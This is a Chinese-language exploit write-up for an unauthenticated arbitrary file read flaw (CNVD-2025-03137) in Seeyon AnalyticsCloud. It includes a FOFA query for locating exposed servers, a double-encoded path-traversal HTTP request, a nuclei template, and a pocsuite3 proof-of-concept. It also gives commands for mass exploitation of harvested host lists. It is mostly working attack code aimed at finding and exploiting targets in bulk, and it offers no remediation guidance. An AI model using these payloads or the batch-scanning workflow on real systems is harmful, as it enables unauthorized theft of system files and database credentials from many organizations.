一、漏洞描述
致远AnalyticsCloud 分析云是一款面向企业的一站式大数据分析平台,其核心作用在于整合多源异构数据(如ERP系统NC、U8、K3、T+,以及CRM、HR等业务系统),通过零代码对接和自动化抽取技术构建统一数据中台,支持财务、供应链等预置分析主题,并允许用户定制业务模型。该平台提供从数据清洗、主数据管理到可视化分析的全链路服务,帮助企业打破数据孤岛,实现跨系统数据的实时监测与交互分析,例如优化采购与销售平衡、产销预测、库存周转等场景。同时,它支持Excel填报与非结构化数据导入,降低人工处理成本,并通过移动端、多终端报表推送辅助高管科学决策,助力企业精准营销、风险预警及数字化转型。
致远AnalyticsCloud 分析云存在任意文件读取漏洞,攻击者可通过构造特定路径绕过安全限制,直接读取服务器上的敏感文件(如系统配置文件、数据库连接信息等)。该漏洞无需身份认证即可利用,属于高危风险,可能导致企业核心数据泄露或系统被进一步入侵。
漏洞编号:CNVD-2025-03137
二、漏洞影响
敏感文件泄露:攻击者可读取c:/windows/win.ini、hosts文件等系统关键文件,甚至扩展至其他路径(如c://windows/system32/drivers/etc/hosts)。
数据库风险:可能暴露数据库配置文件(如账号密码、连接字符串),威胁企业数据安全。
系统安全性崩塌:漏洞使服务器处于极度不安全状态,为后续攻击(如横向渗透、提权)提供跳板。
三、资产查询
title="AnalyticsCloud 分析云" || icon_hash="888607769"
四、漏洞利用
- 路径遍历构造:通过双重编码..%252e(即../的URL编码形式)绕过路径校验,例如请求路径
/.%252e/.%252e/c:/windows/win.ini
。 - 多级目录穿透:部分复现案例尝试通过连续叠加
%252e
实现更深层目录遍历(如读取hosts
文件)。
GET /.%252e/.%252e/c:/windows/win.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-alive
五、nuclei实现批量利用
id: seeyon-analyticscloud-lfi
info:
name: Seeyon AnalyticsCloud Arbitrary File Read
author: Co5mos
severity: critical
description: |
北京致远互联软件股份有限公司AnalyticsCloud分析云存在任意文件读取漏洞,未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件,获取敏感信息。
metadata:
fofa-query: 'title="AnalyticsCloud 分析云"'
hunter-query: 'web.title="AnalyticsCloud 分析云"'
tags: seeyon, analyticscloud, lfi
http:
- method: GET
path:
- "{{BaseURL}}/a/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/c:/windows/win.ini"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "; for 16-bit app support"
- type: status
status:
- 200
fofa导出资产的host数据,批量利用:
nuclei -t tmp.yaml -l hosts.txt
成功实现批量利用。
六、pocsuite3-poc编写与批量利用
from pocsuite3.api import Output, POCBase, register_poc, requests
class DemoPOC(POCBase):
vulID = 'CNVD-2025-03137'
version = '1'
author = 'sixiaokai'
vulDate = '2024-07-19'
createDate = '2025-04-17'
updateDate = '2025-04-17'
references = [
''
]
name = '致远AnalyticsCloud分析云任意文件读取漏洞'
appPowerLink = 'https://www.seeyon.com/'
appName = 'SeeyonAnalyticsCloud'
appVersion = '官方未公开具体版本' #
vulType = 'Arbitrary File Read'
samples = ['打码']
cyberspace = {'fofa':'title="AnalyticsCloud 分析云" || icon_hash="888607769"'}
desc = '''
北京致远互联软件股份有限公司AnalyticsCloud分析云存在任意文件读取漏洞,
未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件,获取敏感信息。
'''
def _verify(self):
result = {}
payload = "/a/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/c:/windows/win.ini"
target = self.url.rstrip('/') + payload
try:
response = requests.get(
url=target,
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'},
verify=False,
timeout=10
)
if response.status_code == 200 and "; for 16-bit app support" in response.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['Response'] = response.text[:50] + "..." # 截取部分内容
except Exception as e:
pass
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
register_poc(DemoPOC)
实现批量漏洞检测与利用:
pocsuite -r 致远AnalyticsCloud分析云存在任意文件读取漏洞.py -f 致远AnalyticsCloud分析云存在任意文件读取漏 洞-hosts.txt
七、yakit批量刷漏洞
- 新建插件添加nuclei模版
- 配置请求参数
- 执行测试查看结果